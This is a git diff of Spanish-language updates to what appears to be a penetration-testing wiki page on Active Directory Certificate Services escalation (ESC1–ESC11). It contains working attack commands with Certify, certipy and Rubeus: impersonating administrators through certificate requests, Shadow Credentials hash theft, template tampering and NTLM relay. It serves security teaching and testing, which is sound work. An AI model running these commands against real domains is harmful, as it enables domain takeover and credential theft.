es el siguiente: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` -Además, se señala que Kekeo puede procesar certificados protegidos por tarjeta inteligente, dado que el pin puede ser recuperado, haciendo referencia a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La misma capacidad se indica que es soportada por **Rubeus**, disponible en [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). +**`Rubeus`** también puede obtener esta información con la opción **`asktgt [...] /getcredentials`**. + +Además, se señala que Kekeo puede procesar certificados protegidos por tarjeta inteligente, dado que se puede recuperar el pin, haciendo referencia a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La misma capacidad se indica que es soportada por **Rubeus**, disponible en [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). Esta explicación encapsula el proceso y las herramientas involucradas en el robo de credenciales NTLM a través de PKINIT, centrándose en la recuperación de hashes NTLM a través de TGT obtenidos usando PKINIT, y las utilidades que facilitan este proceso. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 4d7fec2d4..8e0cc51e3 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -19,8 +19,8 @@ - **No se necesitan firmas de personal autorizado.** - **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, permitiendo a usuarios de bajo privilegio obtener derechos de inscripción.** - **Las plantillas de certificado están configuradas para definir EKUs que facilitan la autenticación:** -- Se incluyen identificadores de Uso de Clave Extendida (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA). -- **La capacidad para que los solicitantes incluyan un subjectAltName en la Solicitud de Firma de Certificado (CSR) es permitida por la plantilla:** +- Se incluyen identificadores de Uso Extendido de Clave (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA). +- **La plantilla permite a los solicitantes incluir un subjectAltName en la Solicitud de Firma de Certificado (CSR):** - Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un administrador de dominio). Si un SAN puede ser especificado por el solicitante se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante. > [!CAUTION] @@ -28,7 +28,7 @@ Esta característica a veces se habilita para soportar la generación en tiempo real de certificados HTTPS o de host por productos o servicios de implementación, o debido a una falta de comprensión. -Se observa que crear un certificado con esta opción activa un aviso, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene habilitado `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) y luego se modifica para incluir un OID de autenticación. +Se señala que crear un certificado con esta opción activa un aviso, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada) y luego se modifica para incluir un OID de autenticación. ### Abuso @@ -42,12 +42,12 @@ Para **abusar de esta vulnerabilidad para hacerse pasar por un administrador** s Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' ``` -Luego puedes transformar el **certificado a formato `.pfx`** y usarlo para **autenticarte usando Rubeus o certipy** nuevamente: +Luego puedes transformar el **certificado generado a formato `.pfx`** y usarlo para **autenticarte usando Rubeus o certipy** nuevamente: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden usar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden utilizar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee La enumeración de plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación o firmas, que poseen un EKU de Autenticación de Cliente o Inicio de Sesión con Tarjeta Inteligente, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, se puede realizar ejecutando la siguiente consulta LDAP: ``` @@ -71,7 +71,7 @@ Los certificados con **sin EKUs**, que actúan como certificados de CA subordina Sin embargo, los nuevos certificados creados para **autenticación de dominio** no funcionarán si la CA subordinada no es confiable por el objeto **`NTAuthCertificates`**, que es la configuración predeterminada. No obstante, un atacante aún puede crear **nuevos certificados con cualquier EKU** y valores de certificado arbitrarios. Estos podrían ser potencialmente **abusados** para una amplia gama de propósitos (por ejemplo, firma de código, autenticación de servidor, etc.) y podrían tener implicaciones significativas para otras aplicaciones en la red como SAML, AD FS o IPSec. -Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del Bosque de AD, se puede ejecutar la siguiente consulta LDAP: +Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del Bosque AD, se puede ejecutar la siguiente consulta LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` @@ -79,7 +79,7 @@ Para enumerar las plantillas que coinciden con este escenario dentro del esquema ### Explicación -Este escenario es como el primero y el segundo, pero **abusando** de un **EKU** diferente (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos). +Este escenario es como el primero y el segundo, pero **abusando** de un **EKU diferente** (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos). El **EKU de Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** en **nombre de otro usuario**. @@ -97,7 +97,7 @@ El **“agente de inscripción”** se inscribe en tal **plantilla** y utiliza e - La CA Empresarial otorga derechos de inscripción a usuarios de bajo privilegio. - Se elude la aprobación del gerente. -- La versión del esquema de la plantilla es 1 o supera 2, y especifica un Requisito de Emisión de Política de Aplicación que requiere el EKU de Agente de Solicitud de Certificado. +- La versión del esquema de la plantilla es 1 o supera 2, y especifica un Requisito de Política de Aplicación que requiere el EKU de Agente de Solicitud de Certificado. - Un EKU definido en la plantilla de certificado permite la autenticación de dominio. - No se aplican restricciones para agentes de inscripción en la CA. @@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Los **usuarios** que están autorizados para **obtener** un **certificado de agente de inscripción**, las plantillas en las que se permite a los **agentes** de inscripción inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidos por las CAs empresariales. Esto se logra abriendo el `certsrc.msc` **complemento**, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña “Agentes de Inscripción”. +Los **usuarios** que están autorizados a **obtener** un **certificado de agente de inscripción**, las plantillas en las que se permite a los **agentes** de inscripción inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidos por las CAs empresariales. Esto se logra abriendo el `certsrc.msc` **complemento**, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña “Agentes de Inscripción”. Sin embargo, se observa que la configuración **predeterminada** para las CAs es “**No restringir agentes de inscripción**.” Cuando la restricción sobre los agentes de inscripción es habilitada por los administradores, configurándola a “Restringir agentes de inscripción,” la configuración predeterminada sigue siendo extremadamente permisiva. Permite el acceso a **Todos** para inscribirse en todas las plantillas como cualquier persona. @@ -131,11 +131,11 @@ Si un **atacante** posee los **permisos** requeridos para **alterar** una **plan Los permisos notables aplicables a las plantillas de certificado incluyen: -- **Owner:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo. -- **FullControl:** Habilita autoridad completa sobre el objeto, incluida la capacidad de alterar cualquier atributo. -- **WriteOwner:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante. -- **WriteDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante FullControl. -- **WriteProperty:** Autoriza la edición de cualquier propiedad del objeto. +- **Propietario:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo. +- **ControlTotal:** Habilita autoridad completa sobre el objeto, incluida la capacidad de alterar cualquier atributo. +- **EscribirPropietario:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante. +- **EscribirDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante ControlTotal. +- **EscribirPropiedad:** Autoriza la edición de cualquier propiedad del objeto. ### Abuso @@ -145,11 +145,11 @@ Un ejemplo de un privesc como el anterior: ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto puede, por ejemplo, ser abusado para sobrescribir la configuración de la plantilla de certificado para hacer que la plantilla sea vulnerable a ESC1. -Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, que se conoce como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima. +Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo borde `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, que se conoce como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **`-save-old` parameter para guardar la configuración antigua**, lo que será útil para **restaurar** la configuración después de nuestro ataque. +**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **`-save-old` parameter para guardar la configuración antigua**, lo cual será útil para **restaurar** la configuración después de nuestro ataque. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,9 +160,9 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## Control de Acceso a Objetos PKI Vulnerables - ESC5 -### Explanation +### Explicación La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de las plantillas de certificados y la autoridad de certificación, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden afectar significativamente la seguridad, abarcan: @@ -174,19 +174,19 @@ La seguridad del sistema PKI puede verse comprometida si un atacante de bajo pri ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Explanation +### Explicación -El tema discutido en el [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) también toca las implicaciones de la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, como lo describe Microsoft. Esta configuración, cuando se activa en una Autoridad de Certificación (CA), permite la inclusión de **valores definidos por el usuario** en el **nombre alternativo del sujeto** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esta disposición permite a un **intruso** inscribirse a través de **cualquier plantilla** configurada para la **autenticación** de dominio—específicamente aquellas abiertas a la inscripción de usuarios **no privilegiados**, como la plantilla estándar de Usuario. Como resultado, se puede asegurar un certificado, permitiendo al intruso autenticarse como un administrador de dominio o **cualquier otra entidad activa** dentro del dominio. +El tema discutido en el [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) también toca las implicaciones de la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, como lo describe Microsoft. Esta configuración, cuando se activa en una Autoridad de Certificación (CA), permite la inclusión de **valores definidos por el usuario** en el **nombre alternativo del sujeto** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esta disposición permite a un **intruso** inscribirse a través de **cualquier plantilla** configurada para la **autenticación** de dominio—específicamente aquellas abiertas a la inscripción de usuarios **no privilegiados**, como la plantilla de Usuario estándar. Como resultado, se puede asegurar un certificado, permitiendo al intruso autenticarse como un administrador de dominio o **cualquier otra entidad activa** dentro del dominio. -**Note**: El enfoque para agregar **nombres alternativos** en una Solicitud de Firma de Certificado (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (denominado “Name Value Pairs”), presenta un **contraste** con la estrategia de explotación de SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—dentro de un atributo de certificado, en lugar de una extensión. +**Nota**: El enfoque para agregar **nombres alternativos** en una Solicitud de Firma de Certificado (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (denominado “Pares de Nombre y Valor”), presenta un **contraste** con la estrategia de explotación de SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—dentro de un atributo de certificado, en lugar de una extensión. -### Abuse +### Abuso Para verificar si la configuración está activada, las organizaciones pueden utilizar el siguiente comando con `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Esta operación emplea esencialmente **remote registry access**, por lo tanto, un enfoque alternativo podría ser: +Esta operación emplea esencialmente **acceso remoto al registro**, por lo tanto, un enfoque alternativo podría ser: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` @@ -208,7 +208,7 @@ Para deshabilitar esta configuración en su entorno, se puede eliminar la bander certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Después de las actualizaciones de seguridad de mayo de 2022, los **certificados** emitidos recientemente contendrán una **extensión de seguridad** que incorpora la **propiedad `objectSid` del solicitante**. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el **`objectSid` del solicitante**, no el SAN.\ +> Después de las actualizaciones de seguridad de mayo de 2022, los **certificados** emitidos recientemente contendrán una **extensión de seguridad** que incorpora la propiedad `objectSid` del **solicitante**. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el **objectSid** del **solicitante**, no el SAN.\ > Para explotar ESC6, es esencial que el sistema sea susceptible a ESC10 (Mapeos de Certificados Débiles), que prioriza el **SAN sobre la nueva extensión de seguridad**. ## Control de Acceso de Autoridad de Certificación Vulnerable - ESC7 @@ -231,8 +231,8 @@ La simplificación de este proceso es alcanzable a través del uso del cmdlet ** La posesión de derechos de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de "aprobación del gerente de certificados de CA". -Se puede utilizar una combinación de los módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado: -```powershell +Se puede utilizar una combinación de módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado: +```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded [...] @@ -252,17 +252,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Explicación > [!WARNING] -> En el **ataque anterior**, se utilizaron permisos de **`Manage CA`** para **habilitar** el flag **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ataque ESC6**, pero esto no tendrá ningún efecto hasta que el servicio CA (`CertSvc`) sea reiniciado. Cuando un usuario tiene el derecho de acceso **`Manage CA`**, también se le permite **reiniciar el servicio**. Sin embargo, **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, **ESC6 puede no funcionar de inmediato** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022. +> En el **ataque anterior**, se utilizaron los permisos de **`Manage CA`** para **habilitar** la bandera **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ataque ESC6**, pero esto no tendrá ningún efecto hasta que se reinicie el servicio de CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso **`Manage CA`**, también se le permite **reiniciar el servicio**. Sin embargo, **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, **ESC6 puede no funcionar de inmediato** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022. Por lo tanto, aquí se presenta otro ataque. Requisitos previos: - Solo permiso **`ManageCA`** -- Permiso **`Manage Certificates`** (puede ser otorgado desde **`ManageCA`**) -- La plantilla de certificado **`SubCA`** debe estar **habilitada** (puede ser habilitada desde **`ManageCA`**) +- Permiso **`Manage Certificates`** (se puede otorgar desde **`ManageCA`**) +- La plantilla de certificado **`SubCA`** debe estar **habilitada** (se puede habilitar desde **`ManageCA`**) -La técnica se basa en el hecho de que los usuarios con el derecho de acceso **`Manage CA`** _y_ **`Manage Certificates`** pueden **emitir solicitudes de certificados fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Así, un **usuario** puede **solicitar** inscribirse en el **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el gerente posteriormente**. +La técnica se basa en el hecho de que los usuarios con el derecho de acceso **`Manage CA`** _y_ **`Manage Certificates`** pueden **emitir solicitudes de certificados fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Por lo tanto, un **usuario** puede **solicitar** inscribirse en la **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el gerente posteriormente**. #### Abuso @@ -273,7 +273,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -El **`SubCA`** template se puede **habilitar en la CA** con el parámetro `-enable-template`. Por defecto, el template `SubCA` está habilitado. +La **`SubCA`** plantilla se puede **habilitar en la CA** con el parámetro `-enable-template`. Por defecto, la plantilla `SubCA` está habilitada. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -318,14 +318,14 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -## NTLM Relay a los Puntos Finales HTTP de AD CS – ESC8 +## NTLM Relay a Puntos Finales HTTP de AD CS – ESC8 ### Explicación > [!NOTE] -> En entornos donde **AD CS está instalado**, si existe un **punto final de inscripción web vulnerable** y al menos una **plantilla de certificado está publicada** que permite **inscripción de computadoras de dominio y autenticación de clientes** (como la plantilla **`Machine`** por defecto), se vuelve posible que **cualquier computadora con el servicio de spooler activo sea comprometida por un atacante**! +> En entornos donde **AD CS está instalado**, si existe un **punto final de inscripción web vulnerable** y al menos una **plantilla de certificado está publicada** que permite **inscripción de computadoras de dominio y autenticación de clientes** (como la plantilla **`Machine`** por defecto), se vuelve posible que **cualquier computadora con el servicio de spooler activo sea comprometida por un atacante**. -Varios **métodos de inscripción basados en HTTP** son soportados por AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de retransmisión NTLM**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta de AD que se autentique a través de NTLM entrante**. Mientras suplantan la cuenta de la víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**. +Varios **métodos de inscripción basados en HTTP** son soportados por AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de retransmisión NTLM**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta de AD que se autentique a través de NTLM entrante**. Al suplantar la cuenta de la víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**. - La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http:///certsrv/`), por defecto solo admite HTTP, lo que no ofrece protección contra ataques de retransmisión NTLM. Además, permite explícitamente solo la autenticación NTLM a través de su encabezado HTTP de Autorización, haciendo que métodos de autenticación más seguros como Kerberos sean inaplicables. - El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Política de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) por defecto soportan la autenticación negotiate a través de su encabezado HTTP de Autorización. La autenticación negotiate **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **reducir a NTLM** la autenticación durante ataques de retransmisión. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS por sí solo **no protege contra ataques de retransmisión NTLM**. La protección contra ataques de retransmisión NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con el enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal. @@ -346,7 +346,7 @@ Otra limitación de los ataques de retransmisión NTLM es que **una máquina con ### **Abuso** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP AD CS habilitados**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP de AD CS habilitados**: ``` Certify.exe cas ``` @@ -357,7 +357,7 @@ La propiedad `msPKI-Enrollment-Servers` es utilizada por las Autoridades de Cert certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ```
-```powershell +```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` @@ -406,13 +406,13 @@ Las condiciones bajo las cuales la configuración de esta bandera se vuelve sign - `StrongCertificateBindingEnforcement` no se ajusta a `2` (siendo la predeterminada `1`), o `CertificateMappingMethods` incluye la bandera `UPN`. - El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración de `msPKI-Enrollment-Flag`. - Cualquier EKU de autenticación de cliente está especificado por el certificado. -- Se dispone de permisos `GenericWrite` sobre cualquier cuenta para comprometer a otra. +- Los permisos `GenericWrite` están disponibles sobre cualquier cuenta para comprometer a otra. ### Escenario de Abuso Supongamos que `John@corp.local` tiene permisos `GenericWrite` sobre `Jane@corp.local`, con el objetivo de comprometer `Administrator@corp.local`. La plantilla de certificado `ESC9`, en la que `Jane@corp.local` tiene permiso para inscribirse, está configurada con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` en su configuración de `msPKI-Enrollment-Flag`. -Inicialmente, el hash de `Jane` se adquiere utilizando Credenciales en Sombra, gracias a `GenericWrite` de `John`: +Inicialmente, el hash de `Jane` se adquiere utilizando Credenciales de Sombra, gracias a `GenericWrite` de `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` @@ -426,7 +426,7 @@ A continuación, se solicita la plantilla de certificado `ESC9`, marcada como vu ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Se observa que el `userPrincipalName` del certificado refleja `Administrator`, sin ningún “object SID”. +Se observa que el `userPrincipalName` del certificado refleja `Administrator`, desprovisto de cualquier “object SID”. El `userPrincipalName` de `Jane` se revierte a su original, `Jane@corp.local`: ```bash @@ -440,10 +440,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Explicación -Dos valores de clave de registro en el controlador de dominio se refieren a ESC10: +Dos valores de clave de registro en el controlador de dominio son referidos por ESC10: -- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), anteriormente configurado como `0x1F`. -- La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, anteriormente `0`. +- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), previamente configurado como `0x1F`. +- La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, previamente `0`. **Caso 1** @@ -457,13 +457,13 @@ Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`). Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos de `GenericWrite` puede ser explotada para comprometer cualquier cuenta B. -Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado. +Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que cualquier plantilla de certificado sea utilizada. -Inicialmente, el hash de `Jane` se recupera utilizando Credenciales en Sombra, explotando el `GenericWrite`. +Inicialmente, el hash de `Jane` se recupera utilizando Credenciales de Sombra, explotando el `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Posteriormente, el `userPrincipalName` de `Jane` se altera a `Administrator`, omitiendo deliberadamente la parte `@corp.local` para evitar una violación de restricción. +Posteriormente, el `userPrincipalName` de `Jane` se altera a `Administrator`, omitiendo deliberadamente la parte `@corp.local` para evitar una violación de restricciones. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` @@ -475,13 +475,13 @@ El `userPrincipalName` de `Jane` se revierte a su original, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Autenticar con el certificado obtenido generará el hash NT de `Administrator@corp.local`, lo que requiere especificar el dominio en el comando debido a la ausencia de detalles del dominio en el certificado. +Autenticarse con el certificado obtenido generará el hash NT de `Administrator@corp.local`, lo que requiere la especificación del dominio en el comando debido a la ausencia de detalles del dominio en el certificado. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` ### Caso de abuso 2 -Con el `CertificateMappingMethods` que contiene el bit flag `UPN` (`0x4`), una cuenta A con permisos `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluidas las cuentas de máquina y el administrador de dominio incorporado `Administrator`. +Con el `CertificateMappingMethods` que contiene el bit flag `UPN` (`0x4`), una cuenta A con permisos de `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluidas las cuentas de máquina y el administrador de dominio incorporado `Administrator`. Aquí, el objetivo es comprometer `DC$@corp.local`, comenzando por obtener el hash de `Jane` a través de Shadow Credentials, aprovechando el `GenericWrite`. ```bash @@ -507,13 +507,13 @@ A través de la shell LDAP, comandos como `set_rbcd` habilitan ataques de Delega ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o donde no coincida con el `sAMAccountName`, siendo el `Administrator@corp.local` un objetivo principal debido a sus privilegios LDAP elevados y la ausencia de un `userPrincipalName` por defecto. +Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o donde no coincida con el `sAMAccountName`, siendo el `Administrator@corp.local` el objetivo principal debido a sus privilegios LDAP elevados y la ausencia de un `userPrincipalName` por defecto. ## Relaying NTLM to ICPR - ESC11 ### Explicación -Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de relé NTLM sin firma a través del servicio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de retransmisión NTLM sin firmar a través del servicio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y certipy mostrará las vulnerabilidades `ESC11`. ```bash @@ -532,7 +532,7 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Escenario de abuso +### Escenario de Abuso Es necesario configurar un servidor de retransmisión: ```bash @@ -559,9 +559,9 @@ O usando [el fork de impacket de sploutchy](https://github.com/sploutchy/impacke ```bash $ 